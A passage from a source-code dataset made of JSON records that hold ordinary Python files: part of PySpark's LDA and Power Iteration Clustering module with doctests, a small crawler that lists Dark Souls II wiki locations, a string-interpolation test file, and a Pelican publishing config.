typeConverter=TypeConverters.toFloat,\n )\n topicDistributionCol: Param[str] = Param(\n Params._dummy(),\n \"topicDistributionCol\",\n \"Output column with estimates of the topic mixture distribution \"\n 'for each document (often called \"theta\" in the literature). '\n \"Returns a vector of zeros for an empty document.\",\n typeConverter=TypeConverters.toString,\n )\n keepLastCheckpoint: Param[bool] = Param(\n Params._dummy(),\n \"keepLastCheckpoint\",\n \"(For EM optimizer) If using checkpointing, this indicates whether\"\n \" to keep the last checkpoint. If false, then the checkpoint will be\"\n \" deleted. Deleting the checkpoint can cause failures if a data\"\n \" partition is lost, so set this bit with care.\",\n TypeConverters.toBoolean,\n )\n\n def __init__(self, *args: Any):\n super(_LDAParams, self).__init__(*args)\n self._setDefault(\n maxIter=20,\n checkpointInterval=10,\n k=10,\n optimizer=\"online\",\n learningOffset=1024.0,\n learningDecay=0.51,\n subsamplingRate=0.05,\n optimizeDocConcentration=True,\n topicDistributionCol=\"topicDistribution\",\n keepLastCheckpoint=True,\n )\n\n @since(\"2.0.0\")\n def getK(self) -> int:\n \"\"\"\n Gets the value of :py:attr:`k` or its default value.\n \"\"\"\n return self.getOrDefault(self.k)\n\n @since(\"2.0.0\")\n def getOptimizer(self) -> str:\n \"\"\"\n Gets the value of :py:attr:`optimizer` or its default value.\n \"\"\"\n return self.getOrDefault(self.optimizer)\n\n @since(\"2.0.0\")\n def getLearningOffset(self) -> float:\n \"\"\"\n Gets the value of :py:attr:`learningOffset` or its default value.\n \"\"\"\n return self.getOrDefault(self.learningOffset)\n\n @since(\"2.0.0\")\n def getLearningDecay(self) -> float:\n \"\"\"\n Gets the value of :py:attr:`learningDecay` or its default value.\n \"\"\"\n return self.getOrDefault(self.learningDecay)\n\n @since(\"2.0.0\")\n def getSubsamplingRate(self) -> float:\n \"\"\"\n Gets the value of :py:attr:`subsamplingRate` or its default value.\n \"\"\"\n return self.getOrDefault(self.subsamplingRate)\n\n @since(\"2.0.0\")\n def getOptimizeDocConcentration(self) -> bool:\n \"\"\"\n Gets the value of :py:attr:`optimizeDocConcentration` or its default value.\n \"\"\"\n return self.getOrDefault(self.optimizeDocConcentration)\n\n @since(\"2.0.0\")\n def getDocConcentration(self) -> List[float]:\n \"\"\"\n Gets the value of :py:attr:`docConcentration` or its default value.\n \"\"\"\n return self.getOrDefault(self.docConcentration)\n\n @since(\"2.0.0\")\n def getTopicConcentration(self) -> float:\n \"\"\"\n Gets the value of :py:attr:`topicConcentration` or its default value.\n \"\"\"\n return self.getOrDefault(self.topicConcentration)\n\n @since(\"2.0.0\")\n def getTopicDistributionCol(self) -> str:\n \"\"\"\n Gets the value of :py:attr:`topicDistributionCol` or its default value.\n \"\"\"\n return self.getOrDefault(self.topicDistributionCol)\n\n @since(\"2.0.0\")\n def getKeepLastCheckpoint(self) -> bool:\n \"\"\"\n Gets the value of :py:attr:`keepLastCheckpoint` or its default value.\n \"\"\"\n return self.getOrDefault(self.keepLastCheckpoint)\n\n\n@inherit_doc\nclass LDAModel(JavaModel, _LDAParams):\n \"\"\"\n Latent Dirichlet Allocation (LDA) model.\n This abstraction permits for different underlying representations,\n including local and distributed data structures.\n\n .. versionadded:: 2.0.0\n \"\"\"\n\n @since(\"3.0.0\")\n def setFeaturesCol(self: \"M\", value: str) -> \"M\":\n \"\"\"\n Sets the value of :py:attr:`featuresCol`.\n \"\"\"\n return self._set(featuresCol=value)\n\n @since(\"3.0.0\")\n def setSeed(self: \"M\", value: int) -> \"M\":\n \"\"\"\n Sets the value of :py:attr:`seed`.\n \"\"\"\n return self._set(seed=value)\n\n @since(\"3.0.0\")\n def setTopicDistributionCol(self: \"M\", value: str) -> \"M\":\n \"\"\"\n Sets the value of :py:attr:`topicDistributionCol`.\n \"\"\"\n return self._set(topicDistributionCol=value)\n\n @since(\"2.0.0\")\n def isDistributed(self) -> bool:\n \"\"\"\n Indicates whether this instance is of type DistributedLDAModel\n \"\"\"\n return self._call_java(\"isDistributed\")\n\n @since(\"2.0.0\")\n def vocabSize(self) -> int:\n \"\"\"Vocabulary size (number of terms or words in the vocabulary)\"\"\"\n return self._call_java(\"vocabSize\")\n\n @since(\"2.0.0\")\n def topicsMatrix(self) -> Matrix:\n \"\"\"\n Inferred topics, where each topic is represented by a distribution over terms.\n This is a matrix of size vocabSize x k, where each column is a topic.\n No guarantees are given about the ordering of the topics.\n\n .. warning:: If this model is actually a :py:class:`DistributedLDAModel`\n instance produced by the Expectation-Maximization (\"em\") `optimizer`,\n then this method could involve collecting a large amount of data\n to the driver (on the order of vocabSize x k).\n \"\"\"\n return self._call_java(\"topicsMatrix\")\n\n @since(\"2.0.0\")\n def logLikelihood(self, dataset: DataFrame) -> float:\n \"\"\"\n Calculates a lower bound on the log likelihood of the entire corpus.\n See Equation (16) in the Online LDA paper (Hoffman et al., 2010).\n\n .. warning:: If this model is an instance of :py:class:`DistributedLDAModel` (produced when\n :py:attr:`optimizer` is set to \"em\"), this involves collecting a large\n :py:func:`topicsMatrix` to the driver. This implementation may be changed in the future.\n \"\"\"\n return self._call_java(\"logLikelihood\", dataset)\n\n @since(\"2.0.0\")\n def logPerplexity(self, dataset: DataFrame) -> float:\n \"\"\"\n Calculate an upper bound on perplexity. (Lower is better.)\n See Equation (16) in the Online LDA paper (Hoffman et al., 2010).\n\n .. warning:: If this model is an instance of :py:class:`DistributedLDAModel` (produced when\n :py:attr:`optimizer` is set to \"em\"), this involves collecting a large\n :py:func:`topicsMatrix` to the driver. This implementation may be changed in the future.\n \"\"\"\n return self._call_java(\"logPerplexity\", dataset)\n\n @since(\"2.0.0\")\n def describeTopics(self, maxTermsPerTopic: int = 10) -> DataFrame:\n \"\"\"\n Return the topics described by their top-weighted terms.\n \"\"\"\n return self._call_java(\"describeTopics\", maxTermsPerTopic)\n\n @since(\"2.0.0\")\n def estimatedDocConcentration(self) -> Vector:\n \"\"\"\n Value for :py:attr:`LDA.docConcentration` estimated from data.\n If Online LDA was used and :py:attr:`LDA.optimizeDocConcentration` was set to false,\n then this returns the fixed (given) value for the :py:attr:`LDA.docConcentration` parameter.\n \"\"\"\n return self._call_java(\"estimatedDocConcentration\")\n\n\n@inherit_doc\nclass DistributedLDAModel(LDAModel, JavaMLReadable[\"DistributedLDAModel\"], JavaMLWritable):\n \"\"\"\n Distributed model fitted by :py:class:`LDA`.\n This type of model is currently only produced by Expectation-Maximization (EM).\n\n This model stores the inferred topics, the full training dataset, and the topic distribution\n for each training document.\n\n .. versionadded:: 2.0.0\n \"\"\"\n\n @since(\"2.0.0\")\n def toLocal(self) -> \"LocalLDAModel\":\n \"\"\"\n Convert this distributed model to a local representation. This discards info about the\n training dataset.\n\n .. warning:: This involves collecting a large :py:func:`topicsMatrix` to the driver.\n \"\"\"\n model = LocalLDAModel(self._call_java(\"toLocal\"))\n\n # SPARK-10931: Temporary fix to be removed once LDAModel defines Params\n model._create_params_from_java()\n model._transfer_params_from_java()\n\n return model\n\n @since(\"2.0.0\")\n def trainingLogLikelihood(self) -> float:\n \"\"\"\n Log likelihood of the observed tokens in the training set,\n given the current parameter estimates:\n log P(docs | topics, topic distributions for docs, Dirichlet hyperparameters)\n\n Notes\n -----\n - This excludes the prior; for that, use :py:func:`logPrior`.\n - Even with :py:func:`logPrior`, this is NOT the same as the data log likelihood given\n the hyperparameters.\n - This is computed from the topic distributions computed during training. If you call\n :py:func:`logLikelihood` on the same training dataset, the topic distributions\n will be computed again, possibly giving different results.\n \"\"\"\n return self._call_java(\"trainingLogLikelihood\")\n\n @since(\"2.0.0\")\n def logPrior(self) -> float:\n \"\"\"\n Log probability of the current parameter estimate:\n log P(topics, topic distributions for docs | alpha, eta)\n \"\"\"\n return self._call_java(\"logPrior\")\n\n def getCheckpointFiles(self) -> List[str]:\n \"\"\"\n If using checkpointing and :py:attr:`LDA.keepLastCheckpoint` is set to true, then there may\n be saved checkpoint files. This method is provided so that users can manage those files.\n\n .. versionadded:: 2.0.0\n\n Returns\n -------\n list\n List of checkpoint files from training\n\n Notes\n -----\n Removing the checkpoints can cause failures if a partition is lost and is needed\n by certain :py:class:`DistributedLDAModel` methods. Reference counting will clean up\n the checkpoints when this model and derivative data go out of scope.\n \"\"\"\n return self._call_java(\"getCheckpointFiles\")\n\n\n@inherit_doc\nclass LocalLDAModel(LDAModel, JavaMLReadable[\"LocalLDAModel\"], JavaMLWritable):\n \"\"\"\n Local (non-distributed) model fitted by :py:class:`LDA`.\n This model stores the inferred topics only; it does not store info about the training dataset.\n\n .. versionadded:: 2.0.0\n \"\"\"\n\n pass\n\n\n@inherit_doc\nclass LDA(JavaEstimator[LDAModel], _LDAParams, JavaMLReadable[\"LDA\"], JavaMLWritable):\n \"\"\"\n Latent Dirichlet Allocation (LDA), a topic model designed for text documents.\n\n Terminology:\n\n - \"term\" = \"word\": an element of the vocabulary\n - \"token\": instance of a term appearing in a document\n - \"topic\": multinomial distribution over terms representing some concept\n - \"document\": one piece of text, corresponding to one row in the input data\n\n Original LDA paper (journal version):\n Blei, Ng, and Jordan. \"Latent Dirichlet Allocation.\" JMLR, 2003.\n\n Input data (featuresCol):\n LDA is given a collection of documents as input data, via the featuresCol parameter.\n Each document is specified as a :py:class:`Vector` of length vocabSize, where each entry is the\n count for the corresponding term (word) in the document. Feature transformers such as\n :py:class:`pyspark.ml.feature.Tokenizer` and :py:class:`pyspark.ml.feature.CountVectorizer`\n can be useful for converting text to word count vectors.\n\n .. versionadded:: 2.0.0\n\n Examples\n --------\n >>> from pyspark.ml.linalg import Vectors, SparseVector\n >>> from pyspark.ml.clustering import LDA\n >>> df = spark.createDataFrame([[1, Vectors.dense([0.0, 1.0])],\n ... [2, SparseVector(2, {0: 1.0})],], [\"id\", \"features\"])\n >>> lda = LDA(k=2, seed=1, optimizer=\"em\")\n >>> lda.setMaxIter(10)\n LDA...\n >>> lda.getMaxIter()\n 10\n >>> lda.clear(lda.maxIter)\n >>> model = lda.fit(df)\n >>> model.setSeed(1)\n DistributedLDAModel...\n >>> model.getTopicDistributionCol()\n 'topicDistribution'\n >>> model.isDistributed()\n True\n >>> localModel = model.toLocal()\n >>> localModel.isDistributed()\n False\n >>> model.vocabSize()\n 2\n >>> model.describeTopics().show()\n +-----+-----------+--------------------+\n |topic|termIndices| termWeights|\n +-----+-----------+--------------------+\n | 0| [1, 0]|[0.50401530077160...|\n | 1| [0, 1]|[0.50401530077160...|\n +-----+-----------+--------------------+\n ...\n >>> model.topicsMatrix()\n DenseMatrix(2, 2, [0.496, 0.504, 0.504, 0.496], 0)\n >>> lda_path = temp_path + \"/lda\"\n >>> lda.save(lda_path)\n >>> sameLDA = LDA.load(lda_path)\n >>> distributed_model_path = temp_path + \"/lda_distributed_model\"\n >>> model.save(distributed_model_path)\n >>> sameModel = DistributedLDAModel.load(distributed_model_path)\n >>> local_model_path = temp_path + \"/lda_local_model\"\n >>> localModel.save(local_model_path)\n >>> sameLocalModel = LocalLDAModel.load(local_model_path)\n >>> model.transform(df).take(1) == sameLocalModel.transform(df).take(1)\n True\n \"\"\"\n\n _input_kwargs: Dict[str, Any]\n\n @keyword_only\n def __init__(\n self,\n *,\n featuresCol: str = \"features\",\n maxIter: int = 20,\n seed: Optional[int] = None,\n checkpointInterval: int = 10,\n k: int = 10,\n optimizer: str = \"online\",\n learningOffset: float = 1024.0,\n learningDecay: float = 0.51,\n subsamplingRate: float = 0.05,\n optimizeDocConcentration: bool = True,\n docConcentration: Optional[List[float]] = None,\n topicConcentration: Optional[float] = None,\n topicDistributionCol: str = \"topicDistribution\",\n keepLastCheckpoint: bool = True,\n ):\n \"\"\"\n __init__(self, \\\\*, featuresCol=\"features\", maxIter=20, seed=None, checkpointInterval=10,\\\n k=10, optimizer=\"online\", learningOffset=1024.0, learningDecay=0.51,\\\n subsamplingRate=0.05, optimizeDocConcentration=True,\\\n docConcentration=None, topicConcentration=None,\\\n topicDistributionCol=\"topicDistribution\", keepLastCheckpoint=True)\n \"\"\"\n super(LDA, self).__init__()\n self._java_obj = self._new_java_obj(\"org.apache.spark.ml.clustering.LDA\", self.uid)\n kwargs = self._input_kwargs\n self.setParams(**kwargs)\n\n def _create_model(self, java_model: \"JavaObject\") -> LDAModel:\n if self.getOptimizer() == \"em\":\n return DistributedLDAModel(java_model)\n else:\n return LocalLDAModel(java_model)\n\n @keyword_only\n @since(\"2.0.0\")\n def setParams(\n self,\n *,\n featuresCol: str = \"features\",\n maxIter: int = 20,\n seed: Optional[int] = None,\n checkpointInterval: int = 10,\n k: int = 10,\n optimizer: str = \"online\",\n learningOffset: float = 1024.0,\n learningDecay: float = 0.51,\n subsamplingRate: float = 0.05,\n optimizeDocConcentration: bool = True,\n docConcentration: Optional[List[float]] = None,\n topicConcentration: Optional[float] = None,\n topicDistributionCol: str = \"topicDistribution\",\n keepLastCheckpoint: bool = True,\n ) -> \"LDA\":\n \"\"\"\n setParams(self, \\\\*, featuresCol=\"features\", maxIter=20, seed=None, checkpointInterval=10,\\\n k=10, optimizer=\"online\", learningOffset=1024.0, learningDecay=0.51,\\\n subsamplingRate=0.05, optimizeDocConcentration=True,\\\n docConcentration=None, topicConcentration=None,\\\n topicDistributionCol=\"topicDistribution\", keepLastCheckpoint=True)\n\n Sets params for LDA.\n \"\"\"\n kwargs = self._input_kwargs\n return self._set(**kwargs)\n\n @since(\"2.0.0\")\n def setCheckpointInterval(self, value: int) -> \"LDA\":\n \"\"\"\n Sets the value of :py:attr:`checkpointInterval`.\n \"\"\"\n return self._set(checkpointInterval=value)\n\n @since(\"2.0.0\")\n def setSeed(self, value: int) -> \"LDA\":\n \"\"\"\n Sets the value of :py:attr:`seed`.\n \"\"\"\n return self._set(seed=value)\n\n @since(\"2.0.0\")\n def setK(self, value: int) -> \"LDA\":\n \"\"\"\n Sets the value of :py:attr:`k`.\n\n >>> algo = LDA().setK(10)\n >>> algo.getK()\n 10\n \"\"\"\n return self._set(k=value)\n\n @since(\"2.0.0\")\n def setOptimizer(self, value: str) -> \"LDA\":\n \"\"\"\n Sets the value of :py:attr:`optimizer`.\n Currently only support 'em' and 'online'.\n\n Examples\n --------\n >>> algo = LDA().setOptimizer(\"em\")\n >>> algo.getOptimizer()\n 'em'\n \"\"\"\n return self._set(optimizer=value)\n\n @since(\"2.0.0\")\n def setLearningOffset(self, value: float) -> \"LDA\":\n \"\"\"\n Sets the value of :py:attr:`learningOffset`.\n\n Examples\n --------\n >>> algo = LDA().setLearningOffset(100)\n >>> algo.getLearningOffset()\n 100.0\n \"\"\"\n return self._set(learningOffset=value)\n\n @since(\"2.0.0\")\n def setLearningDecay(self, value: float) -> \"LDA\":\n \"\"\"\n Sets the value of :py:attr:`learningDecay`.\n\n Examples\n --------\n >>> algo = LDA().setLearningDecay(0.1)\n >>> algo.getLearningDecay()\n 0.1...\n \"\"\"\n return self._set(learningDecay=value)\n\n @since(\"2.0.0\")\n def setSubsamplingRate(self, value: float) -> \"LDA\":\n \"\"\"\n Sets the value of :py:attr:`subsamplingRate`.\n\n Examples\n --------\n >>> algo = LDA().setSubsamplingRate(0.1)\n >>> algo.getSubsamplingRate()\n 0.1...\n \"\"\"\n return self._set(subsamplingRate=value)\n\n @since(\"2.0.0\")\n def setOptimizeDocConcentration(self, value: bool) -> \"LDA\":\n \"\"\"\n Sets the value of :py:attr:`optimizeDocConcentration`.\n\n Examples\n --------\n >>> algo = LDA().setOptimizeDocConcentration(True)\n >>> algo.getOptimizeDocConcentration()\n True\n \"\"\"\n return self._set(optimizeDocConcentration=value)\n\n @since(\"2.0.0\")\n def setDocConcentration(self, value: List[float]) -> \"LDA\":\n \"\"\"\n Sets the value of :py:attr:`docConcentration`.\n\n Examples\n --------\n >>> algo = LDA().setDocConcentration([0.1, 0.2])\n >>> algo.getDocConcentration()\n [0.1..., 0.2...]\n \"\"\"\n return self._set(docConcentration=value)\n\n @since(\"2.0.0\")\n def setTopicConcentration(self, value: float) -> \"LDA\":\n \"\"\"\n Sets the value of :py:attr:`topicConcentration`.\n\n Examples\n --------\n >>> algo = LDA().setTopicConcentration(0.5)\n >>> algo.getTopicConcentration()\n 0.5...\n \"\"\"\n return self._set(topicConcentration=value)\n\n @since(\"2.0.0\")\n def setTopicDistributionCol(self, value: str) -> \"LDA\":\n \"\"\"\n Sets the value of :py:attr:`topicDistributionCol`.\n\n Examples\n --------\n >>> algo = LDA().setTopicDistributionCol(\"topicDistributionCol\")\n >>> algo.getTopicDistributionCol()\n 'topicDistributionCol'\n \"\"\"\n return self._set(topicDistributionCol=value)\n\n @since(\"2.0.0\")\n def setKeepLastCheckpoint(self, value: bool) -> \"LDA\":\n \"\"\"\n Sets the value of :py:attr:`keepLastCheckpoint`.\n\n Examples\n --------\n >>> algo = LDA().setKeepLastCheckpoint(False)\n >>> algo.getKeepLastCheckpoint()\n False\n \"\"\"\n return self._set(keepLastCheckpoint=value)\n\n @since(\"2.0.0\")\n def setMaxIter(self, value: int) -> \"LDA\":\n \"\"\"\n Sets the value of :py:attr:`maxIter`.\n \"\"\"\n return self._set(maxIter=value)\n\n @since(\"2.0.0\")\n def setFeaturesCol(self, value: str) -> \"LDA\":\n \"\"\"\n Sets the value of :py:attr:`featuresCol`.\n \"\"\"\n return self._set(featuresCol=value)\n\n\n@inherit_doc\nclass _PowerIterationClusteringParams(HasMaxIter, HasWeightCol):\n \"\"\"\n Params for :py:class:`PowerIterationClustering`.\n\n .. versionadded:: 3.0.0\n \"\"\"\n\n k: Param[int] = Param(\n Params._dummy(),\n \"k\",\n \"The number of clusters to create. Must be > 1.\",\n typeConverter=TypeConverters.toInt,\n )\n initMode: Param[str] = Param(\n Params._dummy(),\n \"initMode\",\n \"The initialization algorithm. This can be either \"\n + \"'random' to use a random vector as vertex properties, or 'degree' to use \"\n + \"a normalized sum of similarities with other vertices. Supported options: \"\n + \"'random' and 'degree'.\",\n typeConverter=TypeConverters.toString,\n )\n srcCol: Param[str] = Param(\n Params._dummy(),\n \"srcCol\",\n \"Name of the input column for source vertex IDs.\",\n typeConverter=TypeConverters.toString,\n )\n dstCol: Param[str] = Param(\n Params._dummy(),\n \"dstCol\",\n \"Name of the input column for destination vertex IDs.\",\n typeConverter=TypeConverters.toString,\n )\n\n def __init__(self, *args: Any):\n super(_PowerIterationClusteringParams, self).__init__(*args)\n self._setDefault(k=2, maxIter=20, initMode=\"random\", srcCol=\"src\", dstCol=\"dst\")\n\n @since(\"2.4.0\")\n def getK(self) -> int:\n \"\"\"\n Gets the value of :py:attr:`k` or its default value.\n \"\"\"\n return self.getOrDefault(self.k)\n\n @since(\"2.4.0\")\n def getInitMode(self) -> str:\n \"\"\"\n Gets the value of :py:attr:`initMode` or its default value.\n \"\"\"\n return self.getOrDefault(self.initMode)\n\n @since(\"2.4.0\")\n def getSrcCol(self) -> str:\n \"\"\"\n Gets the value of :py:attr:`srcCol` or its default value.\n \"\"\"\n return self.getOrDefault(self.srcCol)\n\n @since(\"2.4.0\")\n def getDstCol(self) -> str:\n \"\"\"\n Gets the value of :py:attr:`dstCol` or its default value.\n \"\"\"\n return self.getOrDefault(self.dstCol)\n\n\n@inherit_doc\nclass PowerIterationClustering(\n _PowerIterationClusteringParams,\n JavaParams,\n JavaMLReadable[\"PowerIterationClustering\"],\n JavaMLWritable,\n):\n \"\"\"\n Power Iteration Clustering (PIC), a scalable graph clustering algorithm developed by\n `Lin and Cohen `_. From the\n abstract: PIC finds a very low-dimensional embedding of a dataset using truncated power\n iteration on a normalized pair-wise similarity matrix of the data.\n\n This class is not yet an Estimator/Transformer, use :py:func:`assignClusters` method\n to run the PowerIterationClustering algorithm.\n\n .. versionadded:: 2.4.0\n\n Notes\n -----\n See `Wikipedia on Spectral clustering `_\n\n Examples\n --------\n >>> data = [(1, 0, 0.5),\n ... (2, 0, 0.5), (2, 1, 0.7),\n ... (3, 0, 0.5), (3, 1, 0.7), (3, 2, 0.9),\n ... (4, 0, 0.5), (4, 1, 0.7), (4, 2, 0.9), (4, 3, 1.1),\n ... (5, 0, 0.5), (5, 1, 0.7), (5, 2, 0.9), (5, 3, 1.1), (5, 4, 1.3)]\n >>> df = spark.createDataFrame(data).toDF(\"src\", \"dst\", \"weight\").repartition(1)\n >>> pic = PowerIterationClustering(k=2, weightCol=\"weight\")\n >>> pic.setMaxIter(40)\n PowerIterationClustering...\n >>> assignments = pic.assignClusters(df)\n >>> assignments.sort(assignments.id).show(truncate=False)\n +---+-------+\n |id |cluster|\n +---+-------+\n |0 |0 |\n |1 |0 |\n |2 |0 |\n |3 |0 |\n |4 |0 |\n |5 |1 |\n +---+-------+\n ...\n >>> pic_path = temp_path + \"/pic\"\n >>> pic.save(pic_path)\n >>> pic2 = PowerIterationClustering.load(pic_path)\n >>> pic2.getK()\n 2\n >>> pic2.getMaxIter()\n 40\n >>> pic2.assignClusters(df).take(6) == assignments.take(6)\n True\n \"\"\"\n\n _input_kwargs: Dict[str, Any]\n\n @keyword_only\n def __init__(\n self,\n *,\n k: int = 2,\n maxIter: int = 20,\n initMode: str = \"random\",\n srcCol: str = \"src\",\n dstCol: str = \"dst\",\n weightCol: Optional[str] = None,\n ):\n \"\"\"\n __init__(self, \\\\*, k=2, maxIter=20, initMode=\"random\", srcCol=\"src\", dstCol=\"dst\",\\\n weightCol=None)\n \"\"\"\n super(PowerIterationClustering, self).__init__()\n self._java_obj = self._new_java_obj(\n \"org.apache.spark.ml.clustering.PowerIterationClustering\", self.uid\n )\n kwargs = self._input_kwargs\n self.setParams(**kwargs)\n\n @keyword_only\n @since(\"2.4.0\")\n def setParams(\n self,\n *,\n k: int = 2,\n maxIter: int = 20,\n initMode: str = \"random\",\n srcCol: str = \"src\",\n dstCol: str = \"dst\",\n weightCol: Optional[str] = None,\n ) -> \"PowerIterationClustering\":\n \"\"\"\n setParams(self, \\\\*, k=2, maxIter=20, initMode=\"random\", srcCol=\"src\", dstCol=\"dst\",\\\n weightCol=None)\n Sets params for PowerIterationClustering.\n \"\"\"\n kwargs = self._input_kwargs\n return self._set(**kwargs)\n\n @since(\"2.4.0\")\n def setK(self, value: int) -> \"PowerIterationClustering\":\n \"\"\"\n Sets the value of :py:attr:`k`.\n \"\"\"\n return self._set(k=value)\n\n @since(\"2.4.0\")\n def setInitMode(self, value: str) -> \"PowerIterationClustering\":\n \"\"\"\n Sets the value of :py:attr:`initMode`.\n \"\"\"\n return self._set(initMode=value)\n\n @since(\"2.4.0\")\n def setSrcCol(self, value: str) -> \"PowerIterationClustering\":\n \"\"\"\n Sets the value of :py:attr:`srcCol`.\n \"\"\"\n return self._set(srcCol=value)\n\n @since(\"2.4.0\")\n def setDstCol(self, value: str) -> \"PowerIterationClustering\":\n \"\"\"\n Sets the value of :py:attr:`dstCol`.\n \"\"\"\n return self._set(dstCol=value)\n\n @since(\"2.4.0\")\n def setMaxIter(self, value: int) -> \"PowerIterationClustering\":\n \"\"\"\n Sets the value of :py:attr:`maxIter`.\n \"\"\"\n return self._set(maxIter=value)\n\n @since(\"2.4.0\")\n def setWeightCol(self, value: str) -> \"PowerIterationClustering\":\n \"\"\"\n Sets the value of :py:attr:`weightCol`.\n \"\"\"\n return self._set(weightCol=value)\n\n @since(\"2.4.0\")\n def assignClusters(self, dataset: DataFrame) -> DataFrame:\n \"\"\"\n Run the PIC algorithm and returns a cluster assignment for each input vertex.\n\n Parameters\n ----------\n dataset : :py:class:`pyspark.sql.DataFrame`\n A dataset with columns src, dst, weight representing the affinity matrix,\n which is the matrix A in the PIC paper. Suppose the src column value is i,\n the dst column value is j, the weight column value is similarity s,,ij,,\n which must be nonnegative. This is a symmetric matrix and hence\n s,,ij,, = s,,ji,,. For any (i, j) with nonzero similarity, there should be\n either (i, j, s,,ij,,) or (j, i, s,,ji,,) in the input. Rows with i = j are\n ignored, because we assume s,,ij,, = 0.0.\n\n Returns\n -------\n :py:class:`pyspark.sql.DataFrame`\n A dataset that contains columns of vertex id and the corresponding cluster for\n the id. The schema of it will be:\n - id: Long\n - cluster: Int\n \"\"\"\n self._transfer_params_to_java()\n assert self._java_obj is not None\n\n jdf = self._java_obj.assignClusters(dataset._jdf)\n return DataFrame(jdf, dataset.sparkSession)\n\n\nif __name__ == \"__main__\":\n import doctest\n import numpy\n import pyspark.ml.clustering\n from pyspark.sql import SparkSession\n\n try:\n # Numpy 1.14+ changed it's string format.\n numpy.set_printoptions(legacy=\"1.13\")\n except TypeError:\n pass\n globs = pyspark.ml.clustering.__dict__.copy()\n # The small batch size here ensures that we see multiple batches,\n # even in these small test examples:\n spark = SparkSession.builder.master(\"local[2]\").appName(\"ml.clustering tests\").getOrCreate()\n sc = spark.sparkContext\n globs[\"sc\"] = sc\n globs[\"spark\"] = spark\n import tempfile\n\n temp_path = tempfile.mkdtemp()\n globs[\"temp_path\"] = temp_path\n try:\n (failure_count, test_count) = doctest.testmod(globs=globs, optionflags=doctest.ELLIPSIS)\n spark.stop()\n finally:\n from shutil import rmtree\n\n try:\n rmtree(temp_path)\n except OSError:\n pass\n if failure_count:\n sys.exit(-1)\n","sub_path":"python/pyspark/ml/clustering.py","file_name":"clustering.py","file_ext":"py","file_size_in_byte":68178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"44868914","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n__author__ = 'ipetrash'\n\n\ndef get_transitions_location(url_location):\n \"\"\"\n Функция для поиска переходов из локации\n\n \"\"\"\n\n import requests\n rs = requests.get(url_location)\n\n from bs4 import BeautifulSoup\n root = BeautifulSoup(rs.content, 'lxml')\n\n transitions = list()\n\n table_transitions = root.select_one('table.pi-horizontal-group')\n if not table_transitions or 'Переходы:' not in table_transitions.text:\n return transitions\n\n for a in table_transitions.select('a'):\n from urllib.parse import urljoin\n url = urljoin(rs.url, a['href'])\n\n transitions.append((url, a.text))\n\n return transitions\n\n\nif __name__ == '__main__':\n visited_locations = set()\n\n def print_transitions(url, title):\n title = title.lower().strip()\n\n if title in visited_locations:\n return\n\n visited_locations.add(title)\n print(title.title(), url)\n\n transitions = get_transitions_location(url)\n if not transitions:\n return transitions\n\n # Сначала напечатаем все связанные локации\n for url_trans, title_trans in transitions:\n print(' {} -> {}'.format(title_trans.title().strip(), url_trans))\n\n print('\\n')\n\n # Поищем у этих локаций связаные с ними локации\n for url_trans, title_trans in transitions:\n title_trans = title_trans.lower().strip()\n\n if title_trans not in visited_locations:\n print_transitions(url_trans, title_trans)\n\n\n url_start_location = 'http://ru.darksouls.wikia.com/wiki/%D0%9C%D0%B5%D0%B6%D0%B4%D1%83%D0%BC%D0%B8%D1%80%D1%8C%D0%B5'\n print_transitions(url_start_location, 'Междумирье')\n\n print()\n print(len(visited_locations), [_.title() for _ in visited_locations])\n","sub_path":"Dark_Souls_II__print_locations_from_start_location.py","file_name":"Dark_Souls_II__print_locations_from_start_location.py","file_ext":"py","file_size_in_byte":1961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"381941614","text":"# coding: utf8-interpy\n\"\"\"Testing mixed Python and interpy string interpolation.\"\"\"\n\nvar1 = 'interpy'\n\n# % interpolation after interpy interpolation\npyold_after_interpy_interp = \"#{var1} %s\" % ('python')\npyold_after_interpy_expect = 'interpy python'\n\n# {} interpolation after interpy interpolation\npynew_after_interpy_interp = \"#{var1} {var2}\".format(var2='python')\npynew_after_interpy_expect = 'interpy python'\n\n# formatted {} interpolation after interpy interpolation\npynew_fmt_after_interpy_interp = \"#{var1} {:08d}\".format(23)\npynew_fmt_after_interpy_expect = 'interpy 00000023'\n\n# % interpolation before interpy interpolation\npyold_before_interpy_interp = \"%s #{var1}\" % ('python')\npyold_before_interpy_expect = 'python interpy'\n\n# {} interpolation before interpy interpolation\npynew_before_interpy_interp = \"{var2} #{var1}\".format(var2='python')\npynew_before_interpy_expect = 'python interpy'\n\n# formatted {} interpolation before interpy interpolation\npynew_fmt_before_interpy_interp = \"{:08d} #{var1}\".format(23)\npynew_fmt_before_interpy_expect = '00000023 interpy'\n\n","sub_path":"tests/mixed.py","file_name":"mixed.py","file_ext":"py","file_size_in_byte":1075,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"165984844","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*- #\nfrom __future__ import unicode_literals\n\n# This file is only used if you use `make publish` or\n# explicitly specify it as your config file.\n\nimport os\nimport sys\nsys.path.append(os.curdir)\nfrom pelicanconf import *\n\nRELATIVE_URLS = False\n\n# Feeds\nFEED_DOMAIN = SITEURL\nFEED_ATOM = 'feeds/posts/%s.atom.xml'\nFEED_ALL_ATOM = 'feeds/posts/all.atom.xml'\nFEED_RSS = 'feeds/posts/%s.atom.xml'\nFEED_ALL_RSS = 'feeds/posts/all.rss.xml'\nTRANSLATION_FEED_ATOM = 'feeds/posts/all-%s.atom.xml'\nTRANSLATION_FEED_RSS = 'feeds/posts/all-%s.rss.xml'\nTAG_FEED_ATOM = 'feeds/tags/%s.atom.xml'\nTAG_FEED_RSS = 'feeds/tags/%s.rss.xml'\nCATEGORY_FEED_ATOM = 'feeds/categories/%s.atom.xml'\nCATEGORY_FEED_RSS = 'feeds/categories/%s.rss.xml'\nAUTHOR_FEED_ATOM = 'feeds/authors/%s.atom.xml'\nAUTHOR_FEED_RSS = 'feeds/authors/%s.rss.xml'\n\n# DELETE_OUTPUT_DIRECTORY = False\n\n# Following items are often useful when publishing\n\nDISQUS_SITENAME = \"\"\nGOOGLE_ANALYTICS = \"\"\n","sub_path":"publishconf.py","file_name":"publishconf.py","file_ext":"py","file_size_in_byte":987,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"337821655","text":"# -*- coding: 